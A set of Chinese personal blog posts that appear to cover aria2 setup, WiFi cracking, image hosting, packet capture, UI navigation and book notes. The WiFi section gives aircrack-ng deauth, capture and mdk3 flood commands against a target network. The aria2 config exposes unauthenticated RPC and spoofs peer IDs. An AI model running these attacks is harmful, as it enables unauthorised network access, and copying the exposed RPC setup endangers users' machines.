Mac搭建aria2

aria2下载工具安装指南

1. Homebrew安装Aria2

brew install aria2

2. 配置aria2.conf

# 进入用户家目录
cd ~
# 创建Aria2的配置目录
mkdir .aria2
# 进入目录内
cd .aria2
# 获取当前终端绝对路径pwd
pwd
# 创建aria2的配置文件
touch aria2.conf

使用vim或者其他的编辑工具打开配置文件aria2.conf

参考示例:

### 常规设置 ###
## 一般只需要设置一下配置 ##
# 文件保存路径, 默认为当前启动位置
# username 替换为你的Mac用户名
dir=/Users/username/Downloads
# 下载停止后执行的命令
# 从 正在下载 到 删除、错误、完成 时触发。暂停被标记为未开始下载,故与此项无关。
on-download-stop=
# 下载完成后执行的命令
# 此项未定义则执行 下载停止后执行的命令 (on-download-stop)
on-download-complete=
# IPv4 DHT 文件路径,默认:$HOME/.aria2/dht.dat
dht-file-path=
# IPv6 DHT 文件路径,默认:$HOME/.aria2/dht6.dat
dht-file-path6=
#用户名
#rpc-user=user
#密码
#rpc-passwd=passwd
#上面的认证方式不建议使用,建议使用下面的token方式
#设置加密的密钥
#rpc-secret=token

#############################################

### 个性化设置(其他Aria2参数) ###
## 文件保存设置 ##

# 文件预分配方式, 可选:none, prealloc, trunc, falloc, 默认:prealloc
# 预分配对于机械硬盘可有效降低磁盘碎片、提升磁盘读写性能、延长磁盘寿命。
# 机械硬盘使用 ext4(具有扩展支持),btrfs,xfs 或 NTFS(仅 MinGW 编译版本)等文件系统建议设置为 falloc
# 若无法下载,提示 fallocate failed.cause:Operation not supported 则说明不支持,请设置为 none
# prealloc 分配速度慢, trunc 无实际作用,不推荐使用。
# 固态硬盘不需要预分配,只建议设置为 none ,否则可能会导致双倍文件大小的数据写入,从而影响寿命。
file-allocation=none
#断点续传
continue=true
# 始终尝试断点续传,无法断点续传则终止下载,默认:true
always-resume=false
# 强制保存,即使任务已完成也保存信息到会话文件, 默认:false
# 开启后会在任务完成后保留 .aria2 文件,文件被移除且任务存在的情况下重启后会重新下载。
# 关闭后已完成的任务列表会在重启后清空。
force-save=false


## 下载连接设置 ##

# 文件未找到重试次数,默认:0 (禁用)
# 重试时同时会记录重试次数,所以也需要设置 max-tries 这个选项
max-file-not-found=10
# 最大尝试次数,0 表示无限,默认:5
max-tries=0
# 重试等待时间(秒), 默认:0 (禁用)
retry-wait=10
# 连接超时时间(秒)。默认:60
connect-timeout=10
# 超时时间(秒)。默认:60
timeout=10
# 最大同时下载任务数, 运行时可修改, 默认:5
max-concurrent-downloads=5
# 单服务器最大连接线程数, 任务添加时可指定, 默认:1
# 最大值为 16 (增强版无限制), 且受限于单任务最大连接线程数(split)所设定的值。
max-connection-per-server=16
# 单任务最大连接线程数, 任务添加时可指定, 默认:5
split=64
# 文件最小分段大小, 添加时可指定, 取值范围 1M-1024M (增强版最小值为 1K), 默认:20M
# 比如此项值为 10M, 当文件为 20MB 会分成两段并使用两个来源下载, 文件为 15MB 则只使用一个来源下载。
# 理论上值越小使用下载分段就越多,所能获得的实际线程数就越大,下载速度就越快,但受限于所下载文件服务器的策略。
min-split-size=4M
# HTTP/FTP 下载分片大小,所有分割都必须是此项值的倍数,最小值为 1M (增强版为 1K),默认:1M
piece-length=1M
# 允许分片大小变化。默认:false
# false:当分片大小与控制文件中的不同时将会中止下载
# true:丢失部分下载进度继续下载
allow-piece-length-change=true
# 最低下载速度限制。当下载速度低于或等于此选项的值时关闭连接(增强版本为重连),此选项与 BT 下载无关。单位 K 或 M ,默认:0 (无限制)
lowest-speed-limit=0
# 全局最大下载速度限制, 运行时可修改, 默认:0 (无限制)
max-overall-download-limit=0
# 单任务下载速度限制, 默认:0 (无限制)
max-download-limit=0
# 禁用 IPv6, 默认:false
disable-ipv6=false
# GZip 支持,默认:false
http-accept-gzip=true
# URI 复用,默认: true
reuse-uri=false
# 禁用 netrc 支持,默认:false
no-netrc=true
# 允许覆盖,当相关控制文件(.aria2)不存在时从头开始重新下载。默认:false
allow-overwrite=false
# 使用 UTF-8 处理 Content-Disposition ,默认:false
content-disposition-default-utf8=true
# 最低 TLS 版本,可选:TLSv1.1、TLSv1.2、TLSv1.3 默认:TLSv1.2
#min-tls-version=TLSv1.2

## BT/PT 下载设置 ##
# 启用 IPv4 DHT 功能, PT 下载(私有种子)会自动禁用, 默认:true
enable-dht=true
# 启用 IPv6 DHT 功能, PT 下载(私有种子)会自动禁用,默认:false
# 在没有 IPv6 支持的环境开启可能会导致 DHT 功能异常
enable-dht6=true
# 指定 BT 和 DHT 网络中的 IP 地址
# 使用场景:在家庭宽带没有公网 IP 的情况下可以把 BT 和 DHT 监听端口转发至具有公网 IP 的服务器,在此填写服务器的 IP ,可以提升 BT 下载速率。
#bt-external-ip=

# 本地节点发现, PT 下载(私有种子)会自动禁用 默认:false
bt-enable-lpd=true
# 指定用于本地节点发现的接口,可能的值:接口,IP地址
# 如果未指定此选项,则选择默认接口。
#bt-lpd-interface=
# 启用节点交换, PT 下载(私有种子)会自动禁用, 默认:true
enable-peer-exchange=true
# BT 下载最大连接数(单任务),运行时可修改。0 为不限制,默认:55
# 理想情况下连接数越多下载越快,但在实际情况是只有少部分连接到的做种者上传速度快,其余的上传慢或者不上传。
# 如果不限制,当下载非常热门的种子或任务数非常多时可能会因连接数过多导致进程崩溃或网络阻塞。
# 进程崩溃:如果设备 CPU 性能一般,连接数过多导致 CPU 占用过高,因资源不足 Aria2 进程会强制被终结。
# 网络阻塞:在内网环境下,即使下载没有占满带宽也会导致其它设备无法正常上网。因远古低性能路由器的转发性能瓶颈导致。
bt-max-peers=128

# BT 下载期望速度值(单任务),运行时可修改。单位 K 或 M 。默认:50K
# BT 下载速度低于此选项值时会临时提高连接数来获得更快的下载速度,不过前提是有更多的做种者可供连接。
# 实测临时提高连接数没有上限,但不会像不做限制一样无限增加,会根据算法进行合理的动态调节。
bt-request-peer-speed-limit=10M
# 全局最大上传速度限制, 运行时可修改, 默认:0 (无限制)
# 设置过低可能影响 BT 下载速度
max-overall-upload-limit=2M
# 单任务上传速度限制, 默认:0 (无限制)
max-upload-limit=0
# 最小分享率。当种子的分享率达到此选项设置的值时停止做种, 0 为一直做种, 默认:1.0
# 强烈建议您将此选项设置为大于等于 1.0
seed-ratio=1.0
# 最小做种时间(分钟)。设置为 0 时将在 BT 任务下载完成后停止做种。
seed-time=0
# 做种前检查文件哈希, 默认:true
bt-hash-check-seed=true
# 继续之前的BT任务时, 无需再次校验, 默认:false
bt-seed-unverified=false
# BT tracker 服务器连接超时时间(秒)。默认:60
# 建立连接后,此选项无效,将使用 bt-tracker-timeout 选项的值
bt-tracker-connect-timeout=10
# BT tracker 服务器超时时间(秒)。默认:60
bt-tracker-timeout=10
# BT 服务器连接间隔时间(秒)。默认:0 (自动)
#bt-tracker-interval=0

# BT 下载优先下载文件开头或结尾
bt-prioritize-piece=head=32M,tail=32M
# 下载种子文件(.torrent)自动开始下载, 默认:true,可选:false|mem
# true:保存种子文件
# false:仅下载种子文件
# mem:将种子保存在内存中
follow-torrent=true

# 种子文件下载完后暂停任务,默认:false
# 在开启 follow-torrent 选项后下载种子文件或磁力会自动开始下载任务进行下载,而同时开启当此选项后会建立相关任务并暂停。
pause-metadata=false

# 保存磁力链接元数据为种子文件(.torrent), 默认:false
bt-save-metadata=true
# 加载已保存的元数据文件(.torrent),默认:false
bt-load-saved-metadata=true
# 删除 BT 下载任务中未选择文件,默认:false
bt-remove-unselected-file=true
# BT强制加密, 默认: false
# 启用后将拒绝旧的 BT 握手协议并仅使用混淆握手及加密。可以解决部分运营商对 BT 下载的封锁,且有一定的防版权投诉与迅雷吸血效果。
# 此选项相当于后面两个选项(bt-require-crypto=true, bt-min-crypto-level=arc4)的快捷开启方式,但不会修改这两个选项的值。
bt-force-encryption=true

# BT加密需求,默认:false
# 启用后拒绝与旧的 BitTorrent 握手协议(\19BitTorrent protocol)建立连接,始终使用混淆处理握手。
#bt-require-crypto=true

# BT最低加密等级,可选:plain(明文),arc4(加密),默认:plain
#bt-min-crypto-level=arc4

# 分离仅做种任务,默认:false
# 从正在下载的任务中排除已经下载完成且正在做种的任务,并开始等待列表中的下一个任务。
bt-detach-seed-only=true

## 客户端伪装 ##

# 自定义 User Agent
user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.57

# BT 客户端伪装
# PT 下载需要保持 user-agent 和 peer-agent 两个参数一致
# 部分 PT 站对 Aria2 有特殊封禁机制,客户端伪装不一定有效,且有封禁账号的风险。
#user-agent=Transmission 2.94
peer-agent=Transmission 2.94
peer-id-prefix=-TR2940-

## RPC 设置 ##

# 启用 JSON-RPC/XML-RPC 服务器, 默认:false
enable-rpc=true
# 接受所有远程请求, 默认:false
rpc-allow-origin-all=true
# 允许外部访问, 默认:false
rpc-listen-all=true
# RPC 监听端口, 默认:6800
rpc-listen-port=6800
# RPC 最大请求大小
rpc-max-request-size=10M
# RPC 服务 SSL/TLS 加密, 默认:false
# 启用加密后必须使用 https 或者 wss 协议连接
# 不推荐开启,建议使用 web server 反向代理,比如 Nginx、Caddy ,灵活性更强。
#rpc-secure=false

# 保存通过 WebUI(RPC) 上传的种子文件(.torrent),默认:true
# 所有涉及种子文件保存的选项都建议开启,不保存种子文件有任务丢失的风险。
# 通过 RPC 自定义临时下载目录可能不会保存种子文件。
rpc-save-upload-metadata=true

# 事件轮询方式, 可选:epoll, kqueue, port, poll, select, 不同系统默认值不同
#event-poll=select

## 高级选项 ##

# 启用异步 DNS 功能。默认:true
#async-dns=true

# 指定异步 DNS 服务器列表,未指定则从 /etc/resolv.conf 中读取。
#async-dns-server=119.29.29.29,223.5.5.5,8.8.8.8,1.1.1.1

# 指定单个网络接口,可能的值:接口,IP地址,主机名
# 如果接口具有多个 IP 地址,则建议指定 IP 地址。
# 已知指定网络接口会影响依赖本地 RPC 的连接的功能场景,即通过 localhost 和 127.0.0.1 无法与 Aria2 服务端进行讯通。
#interface=

# 指定多个网络接口,多个值之间使用逗号(,)分隔。
# 使用 interface 选项时会忽略此项。
#multiple-interface=

## 执行额外命令 ##

# 下载错误后执行的命令
# 此项未定义则执行 下载停止后执行的命令 (on-download-stop)
#on-download-error=

# 下载暂停后执行的命令
#on-download-pause=

# 下载开始后执行的命令
#on-download-start=

## BitTorrent trackers ##
bt-tracker=http://1337.abcvg.info:80/announce,http://159.69.65.157:6969/announce,http://185.148.3.231:80/announce,http://185.185.40.129:6969/announce,http://185.230.4.150:1337/announce,http://51.222.84.64:1337/announce,http://51.79.71.167:80/announce,http://51.81.46.170:6969/announce,http://54.39.179.91:6699/announce,http://60-fps.org:80/bt:80/announce.php,http://78.30.254.12:2710/announce,http://82.65.37.128:6969/announce,http://93.158.213.92:1337/announce,http://95.107.48.115:80/announce,http://[2001:1b10:1000:8101:0:242:ac11:2]:6969/announce,http://[2001:470:1:189:0:1:2:3]:6969/announce,http://[2a04:ac00:1:3dd8::1:2710]:2710/announce,http://all4nothin.net:80/announce.php,http://atrack.pow7.com:80/announce,http://big-boss-tracker.net:80/announce.php,http://bluebird-hd.org:80/announce.php,http://bt-club.ws:80/announce,http://bt.3dmgame.com:2710/announce,http://bt.ali213.net:8080/announce,http://bt.okmp3.ru:2710/announce,http://bt.rghost.net:80/announce,http://bt.unionpeer.org:777/announce,http://bt.zlofenix.org:81/announce,http://btx.anifilm.tv:80/announce.php,http://carbon-bonsai-621.appspot.com:80/announce,http://concen.org:6969/announce,http://data-bg.net:80/announce.php,http://explodie.org:6969/announce,http://fxtt.ru:80/announce,http://googer.cc:1337/announce,http://h4.trakx.nibba.trade:80/announce,http://irrenhaus.dyndns.dk:80/announce.php,http://kinorun.com:80/announce.php,http://masters-tb.com:80/announce.php,http://mediaclub.tv:80/announce.php,http://milanesitracker.tekcities.com:80/announce,http://mixfiend.com:6969/announce,http://mvgroup.org:2710/announce,http://ns349743.ip-91-121-106.eu:80/announce,http://nyaa.tracker.wf:7777/announce,http://open.acgnxtracker.com:80/announce,http://openbittorrent.com:80/announce,http://opentracker.i2p.rocks:6969/announce,http://opentracker.xyz:80/announce,http://p4p.arenabg.com:1337/announce,http://pow7.com:80/announce,http://proaudiotorrents.org:80/announce.php,http://retracker.hotplug.ru:2710/announce,http://retracker.spark-rostov.ru:80/announce,http://retracker.telecom.by:80/announce,http://secure.pow7.com:80/announce,http://share.camoe.cn:8080/announce,http://siambit.com:80/announce.php,http://t.acg.rip:6699/announce,http://t.nyaatracker.com:80/announce,http://t.overflow.biz:6969/announce,http://t1.pow7.com:80/announce,http://torrent-team.net:80/announce.php,http://torrent.arjlover.net:2710/announce,http://torrent.fedoraproject.org:6969/announce,http://torrent.mp3quran.net:80/announce.php,http://torrent.resonatingmedia.com:6969/announce,http://torrents.linuxmint.com:80/announce.php,http://torrentsmd.com:8080/announce,http://torrentzilla.org:80/announce,http://torrentzilla.org:80/announce.php,http://tr.cili001.com:8070/announce,http://tracker.ali213.net:8000/announce,http://tracker.anirena.com:80/announce,http://tracker.birkenwald.de:6969/announce,http://tracker.bittor.pw:1337/announce,http://tracker.breizh.pm:6969/announce,http://tracker.bt4g.com:2095/announce,http://tracker.dler.org:6969/announce,http://tracker.files.fm:6969/announce,http://tracker.frozen-layer.net:6969/announce,http://tracker.gbitt.info:80/announce,http://tracker.gcvchp.com:2710/announce,http://tracker.gigatorrents.ws:2710/announce,http://tracker.grepler.com:6969/announce,http://tracker.ipv6tracker.org:80/announce,http://tracker.ipv6tracker.ru:80/announce,http://tracker.loadbt.com:6969/announce,http://tracker.minglong.org:8080/announce,http://tracker.noobsubs.net:80/announce,http://tracker.openbittorrent.com:80/announce,http://tracker.opentrackr.org:1337/announce,http://tracker.pussytorrents.org:3000/announce,http://tracker.tambovnet.org:80/announce.php,http://tracker.tasvideos.org:6969/announce,http://tracker.tfile.me:80/announce,http://tracker.torrentbytes.net:80/announce.php,http://tracker.trackerfix.com:80/announce,http://tracker.xdvdz.com:2710/announce,http://tracker.yowe.net:80/announce,http://tracker.zerobytes.xyz:1337/announce,http://tracker1.bt.moack.co.kr:80/announce,http://tracker2.dler.org:80/announce,http://tracker3.dler.org:2710/announce,http://vps02.net.orel.ru:80/announce,http://www.all4nothin.net:80/announce.php,http://www.legittorrents.info:80/announce.php,http://www.shnflac.net:80/announce.php,http://www.thetradersden.org/forums/tracker:80/announce.php,http://www.tribalmixes.com:80/announce.php,http://www.tvnihon.com:6969/announce,http://www.xwt-classics.net:80/announce.php,http://www.zone-torrent.net:80/announce.php,https://1337.abcvg.info:443/announce,https://carbon-bonsai-621.appspot.com:443/announce,https://mytracker.fly.dev:443/announce,https://open.kickasstracker.com:443/announce,https://opentracker.acgnx.se:443/announce,https://opentracker.xyz:443/announce,https://tr.torland.ga:443/announce,https://tracker.bt-hash.com:443/announce,https://tracker.coalition.space:443/announce,https://tracker.foreverpirates.co:443/announce,https://tracker.iriseden.eu:443/announce,https://tracker.iriseden.fr:443/announce,https://tracker.lilithraws.cf:443/announce,https://tracker.nitrix.me:443/announce,https://tracker.shittyurl.org:443/announce,https://tracker.tamersunion.org:443/announce,https://trakx.herokuapp.com:443/announce,https://w.wwwww.wtf:443/announce,udp://103.196.36.31:6969/announce,udp://104.244.72.77:1337/announce,udp://119.28.134.203:6969/announce,udp://149.28.47.87:1738/announce,udp://156.234.201.18:80/announce,udp://159.69.208.124:6969/announce,udp://163.172.170.127:6969/announce,udp://167.179.77.133:1/announce,udp://176.96.139.154:8080/announce,udp://184.105.151.166:6969/announce,udp://185.181.60.67:80/announce,udp://185.183.158.105:6969/announce,udp://185.21.216.185:6969/announce,udp://185.8.156.2:6969/announce,udp://185.92.223.36:6969/announce,udp://195.201.94.195:6969/announce,udp://198.100.149.66:6969/announce,udp://199.217.118.72:6969/announce,udp://205.185.121.146:6969/announce,udp://208.83.20.20:6969/announce,udp://209.141.59.16:6969/announce,udp://212.1.226.176:2710/announce,udp://213.108.129.160:6969/announce,udp://37.235.174.46:2710/announce,udp://37.59.48.81:6969/announce,udp://45.154.253.4:6969/announce,udp://46.148.18.252:2710/announce,udp://5.181.49.163:6969/announce,udp://51.15.2.221:6969/announce,udp://51.15.3.74:6969/announce,udp://51.15.55.204:1337/announce,udp://52.58.128.163:6969/announce,udp://65.21.48.148:6969/announce,udp://67.224.119.27:6969/announce,udp://6ahddutb1ucc3cp.ru:6969/announce,udp://78.30.254.12:2710/announce,udp://88.99.142.4:8000/announce,udp://89.234.156.205:451/announce,udp://89.36.216.8:6969/announce,udp://9.rarbg.com:2720/announce,udp://9.rarbg.com:2810/announce,udp://9.rarbg.me:2710/announce,udp://9.rarbg.to:2710/announce,udp://91.121.145.207:6969/announce,udp://91.149.192.31:6969/announce,udp://91.216.110.52:451/announce,udp://95.181.152.224:6969/announce,udp://[2001:1b10:1000:8101:0:242:ac11:2]:6969/announce,udp://[2001:470:1:189:0:1:2:3]:6969/announce,udp://[2a03:7220:8083:cd00::1]:451/announce,udp://[2a04:ac00:1:3dd8::1:2710]:2710/announce,udp://[2a0f:e586:f:f::220]:6969/announce,udp://abufinzio.monocul.us:6969/announce,udp://admin.videoenpoche.info:6969/announce,udp://anidex.moe:6969/announce,udp://app.icon256.com:8000/announce,udp://bt.100.pet:2711/announce,udp://bt2.54new.com:8080/announce,udp://btt.service.gongt.me:43079/announce,udp://bubu.mapfactor.com:6969/announce,udp://code2chicken.nl:6969/announce,udp://concen.org:6969/announce,udp://cutiegirl.ru:6969/announce,udp://discord.heihachi.pw:6969/announce,udp://engplus.ru:6969/announce,udp://exodus.desync.com:6969/announce,udp://explodie.org:6969/announce,udp://fe.dealclub.de:6969/announce,udp://ipv6.tracker.zerobytes.xyz:16661/announce,udp://mail.realliferpg.de:6969/announce,udp://movies.zsw.ca:6969/announce,udp://mts.tvbit.co:6969/announce,udp://open.demonii.com:1337/announce,udp://open.publictracker.xyz:6969/announce,udp://open.stealth.si:80/announce,udp://opentor.org:2710/announce,udp://opentracker.i2p.rocks:6969/announce,udp://opentrackr.org:1337/announce,udp://p4p.arenabg.com:1337/announce,udp://peerfect.org:6969/announce,udp://pow7.com:80/announce,udp://public.publictracker.xyz:6969/announce,udp://retracker.hotplug.ru:2710/announce,udp://retracker.lanta-net.ru:2710/announce,udp://retracker.netbynet.ru:2710/announce,udp://retracker.nts.su:2710/announce,udp://retracker.sevstar.net:2710/announce,udp://t1.leech.ie:1337/announce,udp://thetracker.org:80/announce,udp://tr.bangumi.moe:6969/announce,udp://tracker-de.ololosh.space:6969/announce,udp://tracker.0x.tf:6969/announce,udp://tracker.aletorrenty.pl:2710/announce,udp://tracker.altrosky.nl:6969/announce,udp://tracker.army:6969/announce,udp://tracker.beeimg.com:6969/announce,udp://tracker.birkenwald.de:6969/announce,udp://tracker.bittor.pw:1337/announce,udp://tracker.blacksparrowmedia.net:6969/announce,udp://tracker.breizh.pm:6969/announce,udp://tracker.coppersurfer.tk:6969/announce,udp://tracker.cyberia.is:6969/announce,udp://tracker.dler.com:6969/announce,udp://tracker.dler.org:6969/announce,udp://tracker.eddie4.nl:6969/announce,udp://tracker.edkj.club:6969/announce,udp://tracker.filemail.com:6969/announce,udp://tracker.flashtorrents.org:6969/announce,udp://tracker.grepler.com:6969/announce,udp://tracker.halfchub.club:6969/announce,udp://tracker.kuroy.me:5944/announce,udp://tracker.leech.ie:1337/announce,udp://tracker.leechers-paradise.org:6969/announce,udp://tracker.loadbt.com:6969/announce,udp://tracker.moeking.eu.org:6969/announce,udp://tracker.moeking.me:6969/announce,udp://tracker.monitorit4.me:6969/announce,udp://tracker.nrx.me:6969/announce,udp://tracker.ololosh.space:6969/announce,udp://tracker.open-internet.nl:6969/announce,udp://tracker.openbittorrent.com:6969/announce,udp://tracker.opentrackr.org:1337/announce,udp://tracker.pomf.se:80/announce,udp://tracker.sbsub.com:2710/announce,udp://tracker.sktorrent.net:6969/announce,udp://tracker.skyts.net:6969/announce,udp://tracker.swateam.org.uk:2710/announce,udp://tracker.theoks.net:6969/announce,udp://tracker.tiny-vps.com:6969/announce,udp://tracker.torrent.eu.org:451/announce,udp://tracker.uw0.xyz:6969/announce,udp://tracker.vanitycore.co:6969/announce,udp://tracker.zemoj.com:6969/announce,udp://tracker.zerobytes.xyz:1337/announce,udp://tracker0.ufibox.com:6969/announce,udp://tracker1.bt.moack.co.kr:80/announce,udp://tracker2.dler.com:80/announce,udp://tracker2.dler.org:80/announce,udp://tracker4.itzmx.com:2710/announce,udp://u.wwwww.wtf:1/announce,udp://udp-tracker.shittyurl.org:6969/announce,udp://vibe.community:6969/announce,udp://vibe.sleepyinternetfun.xyz:1738/announce,udp://wassermann.online:6969/announce,udp://www.mvgroup.org:2710/announce,udp://www.torrent.eu.org:451/announce,wss://tracker.files.fm:7073/announce,wss://tracker.openwebtorrent.com:443/announce

3.启动Aria2服务

终端输入

[]

Wifi密码破解

##通过字典(暴力)破解WIFI密码##

简单破解wep/wpa/wpa2加密的wifi密码,平台kali-Linux,工具为Aircrack-ng

破解过程是通过抓取正确密码的握手包(链接wifi的时候的互相交换报文),从 抓取到的握手包里找wifi密码;wep加密的wifi,可以通过足够多的报文根据算法 算出密码,所以wep的加密算法较弱;如果是wpa/wpa2的wifi,是不可能直接计算 出密码的,需要准备足够强大的密码,通过算法比对握手包里的密码和密码字典, 从而试出密码……

###wep加密的wifi步骤###

通过以下两个命令加载无线网卡,和激活网卡到监听模式monitor:

airmon-ng wlan0 up #加载无线网卡
airmon-ng start wlan0 #激活网卡
airmon-ng wlan0 down #去加载网卡

激活网卡之后输入:

airodump-ng mon0 #探测要攻击的目标主机,按ctrl+z 停止探测

可以看到路由器的名字,mac地址,信号电平,CH,MB,加密方式(wpa/wpa2/wep)等 以及客户端到路由器的连接包 选中要攻击的路由器为目标,记住它的mac地址例如6C:E8:73:48:A8:FC,以及连接 到该路由器客户端的mac地址,例如:78:F7:BE:4A:82:81, 以及CH号,例如CH为1

然后输入如下命令开始抓包:

airodump-ng –ivs -w abc -c 1 mon0 #–ivs是通过ivs过滤,只保留可以破解密码的报文.ivs文件,这样比较快点;-w #是将抓取的报文写入命名为abc并保存(之后会在当前文件夹保存为abc-01.ivs); #-c后面跟频道,如这里的1 。

然后新开一个终端窗口,对目标主机进行deauth攻击,以加速抓吧,命令格式为 aireplay-ng -0 大小 -a 目标主机mac -c 客户端mac mon0

aireplay-ng -0 10 -a 6C:E8:73:48:A8:FC -c 78:F7:BE:4A:82:81 mon0

接下来再开一个终端窗口,输入:

aircrack-ng abc-01.ivs 然后输入要破解的无线网络序号开始破解密码!此过程中可以看到抓取的报文的数量, 一般当报文数量大于2W就可以直接出来了。

如果破解过程中出现的报文少而等待报文的情况,直到达到要求开始破解,可以 使用mdk3工具对目标进行洪水验证攻击,命令如下:

mdk3 mon0 a -a 目标主机mac

[]

部署免费无限制图床

部署过程:

1.下载安装node 和 wrangler

npm install wrangler --save-dev

2.下载cf-image-hosting

git clone https://github.com/ifyour/cf-image-hosting.git
cd cf-image-hosting

2.运行以下命令完成部署:

npm install
npm run dev
npm run deploy

3.在cloudflare绑定域名

workers&pages -> Triggers -> Custom Domains -> Add a custom domain image

4.使用图床

image

5.感谢

1.感谢cf-image-hosting作者提供的集成,GitHub地址:cf-image-hosting 2.感谢Telegraph和Cloudflare提供的服务

Change Log

2024-02-04 创建

Mac抓包工具Whistle

帮LD下载小程序上的视频,看到专业级别的抓包工具fiddler、Charles,感觉有点杀鸡用牛刀,就找了一个轻便的工具:whistle,通过以下几步:

  1. 安装代理工具whistle

2.把whistle 设置为全局代理,也可以用浏览器代理,手机上通过IP地址设置代理

3.通过web地址访问配置页面 http://local.whistlejs.com/

设置一些过滤规则,找到音视频文件的地址,通过批量下载工具下载

whistle的使用说明地址:https://wproxy.org/whistle

Change Log

2023-10-17 初始化

如何设计B端产品系统导航?

说明:主要说下BS模式的产品导航,不谈论PC端产品

1 导航的作用

导航在一个系统中有着很重要的作用,1是让登录的用户看到有哪些可用的功能,2是给用户提供进入各个系统的捷径,当系统逐渐复杂,功能逐渐多的时候,就要求在设计导航时一定要清晰明了,用户一看就知道某个功能位于哪个地方。

2 导航的形式

目前常用的导航形式有4种:1是边栏形式(左边栏,边栏),一般包含多个层级,是最常见的导航形式;2是流程形式,常见于业务流程比较复杂的系统;3是hao123形式,常见于阿里云、腾讯云等功能特别多的系统中;4是应用模式,目前使用的系统的较少,可能是未来发展的方向,但需要功能模块有清晰的定义并且容易让用户找到;5是多种形式结合的,这也是目前大多数平台类B端系统采用的方式,一是因为越来越多功能无法设置菜单,二是菜单层级导致不容易找到;6是与搜索结合的导航,根据岗位角色自动推荐的菜单,根据需要展示对应的菜单;7是卡片簇形式。

每种的形式都有自己的使用场景,具体在哪种产品上使用,需要结合用户的认知和使用系统来确定。

下面举几个上面说的各种形式的例子:

2.1 左边栏形式

Image

2.2 流程形式

按照单据操作流程展示不同的菜单,方便用户理解单据的流向。

Image

2.3 hao123形式

一般仅仅展示系统名字,很少用于具体页面的展示。

Image

2.4 应用形式

Image

2.5多种形式结合

点击上方不同的列表,下方展示不同的菜单,是上方列表,左侧列表和hao123导航形式的结合,并且上方也提供了搜索。

Image

2.6 卡片形式

这种形式较为少见,但在一些仓储ERP中较常见,一般的系统使用这种可能会不太适用。

Image

3 导航的内容

导航上面的主要内容就是让用户看见之后能够立即明白每个菜单的含义,以及能够完成的功能,除此之外也必须简洁,不能包含太多的内容。

常用的使用方法如下:

  1. 每一级菜单不超过7项

  2. 菜单名字不超过5+-2个字

  3. 菜单层级深度不超过4级

  4. 菜单名字尽量使用动词,与里面具体的操作有关。

  5. 菜单取名要一致

在内容上结合行业常用成语会达到事半功倍的效果,如果有条件的话要对菜单的名字做一下A/B测试。

4 菜单分类

菜单的分类主要有两种,单个业务系统内部的菜单分类,以及多个业务系统形成的ERP的内部菜单分类。

对于单个业务系统菜单分类比较简单,一般按照:

  1. 操作功能
  2. 操作设置
  3. 报表

三个来分类,如果菜单还是太多,可以把操作功能再分为公共页面和个人功能,公共页面涉及到数据权限;操作设置可以再分为全局设置和业务单位设置;报表也可以在分为明细,日报表,月报表等等。

个别系统为了让用户看到更多的页面,在页面分类上可能会用比较极端的方法,把每个操作都分为一个页面。这样设计的好处是用户比较容易找到页面,不好的地方是页面太多。当系统足够复杂时不太适用。

对于复杂系统的内部菜单分类,比较多样化,不过也大致分为几类:

  1. 按照操作部门来区分,云仓目前在用的方式;
  2. 按照业务功能区分,很多平台类企业在用的方式;
  3. 按照操作流程区分,很多业务系统常用的方式;
  4. 按照操作人员区分,老式ERP常用的方式;

除此之外也有其他不同的按照业务场景、用户、使用方法等等的分类方法。不过大多数系统都是把几种方法结合在一起,然后再结合用户的使用系统来调整菜单。

但不管菜单如何分类一定要有人统一管理,而不是由各个系统自己定义,不然会造成用户的理解混乱。

最后

菜单的分类只是为用户提供一个使用系统功能的捷径,最关键的还是提升用户的作业效率,减少用户的操作。在相同的功能内,菜单越少越好。

为什么聪明人也会做傻事?

作者是谁

斯坦诺维奇

http://keithstanovich.com/

See the source image

基思•斯坦诺维奇(Keith E.Stanovich),目前担任加拿大多伦多大学人类发展与应用心理学的国家首席教授,也是前加拿大应用认知科学研究主席,他的研究领域是推理和阅读的心理学机制。

他是200多篇科学文章和8本书的作者。 1973年获得俄亥俄州立大学心理学学士学位,1977年获得密歇根大学心理学博士学位。 他出生于扬斯敦,是美国公民。美国心理学协会(3、7、8、15分会)、美国心理学会、国际学习障碍研究学会的会员,也是阅读科学研究学会的会员。 他是国家研究理事会 / 国家科学院防止幼儿阅读困难委员会的成员。

他是唯一两次获得国际阅读协会阿尔伯特 · j · 哈里斯奖的有影响力的作者。

1995年,他被选入雷丁名人堂,成为那个荣誉学会最年轻的成员。

1996年,他因对研究的贡献而获得全国阅读会议颁发的奥斯卡 · 考西奖;

1997年,他获得美国教育研究协会颁发的西尔维亚 · 斯克里布纳奖;

2000年,他又获得了阅读科学研究协会颁发的杰出科学贡献奖。

2008年荣获美国教育研究协会特殊教育研究所杰出研究员奖。

2010年获得格威尔美尔教育奖(Grawemeyer Award in Education)。

2012年获得美国心理协会颁发的桑代克职业成就奖。

他所撰写的《这才是心理学》(How to Think Straight about Psychology)一书被全球400多所心理学高等教育机构采用。

《这才是心理学》(对伪心理学说不) 《机器人叛乱》 《超越智商》 《决策与理性》 《怕死:人类行为的驱动力》

书的内容

《超越智商》

英文书名:What Intelligence Tests Miss: The Psychology of Rational Thought

智力测验错过了什么,理性心理学

中文副标题:为什么聪明人也会做蠢事

比较专业的书

聪明人做傻事的案例

等等……

当我们在看待这些事情的时候会认为他们的的智力不够吗,不会的,会认为骗术高超,他们在面对骗术时不够理性,容易情绪激动,那么理性算智力吗?

[]

信用积分换里程

缘由

在12月忽然发现招行信用卡积分有将近2万分快要过期,为了最大化提升积分的用途,在网上找了一些换积分的里程的教程。

获得积分方式

​ 1、签到。在支付宝、微信和掌上生活APP上,点击签到可直接领取,大多是1积分。周一在微信公众号后输入“周一消费”,也可以领取积分。

  2、消费。招商是每消费20元积1分。消费后每天在微信公众号里发送“消费红包”,返回连接通道,用浏览器连接到掌上生活,还可随机领取积分。

  3、无卡支付。使用微信、支付宝、银联云闪付、京东支付、手机支付等无卡支付方式,每消费2元在掌上生活有一次抽取积分的机会。首次申请各种手机Pay(苹果、小米、三星、华为)可以领取99积分;首次绑定支付宝、微信、云闪付可领取299积分。

​ 掌上生活APP【发现】-【掌经号】-【账号管家】,打开刮刮卡的消息,可以随机领取积分。

  4、分期。现金分期或账单分期达标,即分期总额和分期期数,达到标准可以领取积分。这个活动几乎每月都有,其实成本也是蛮高的,对于一些人也是有需要的。

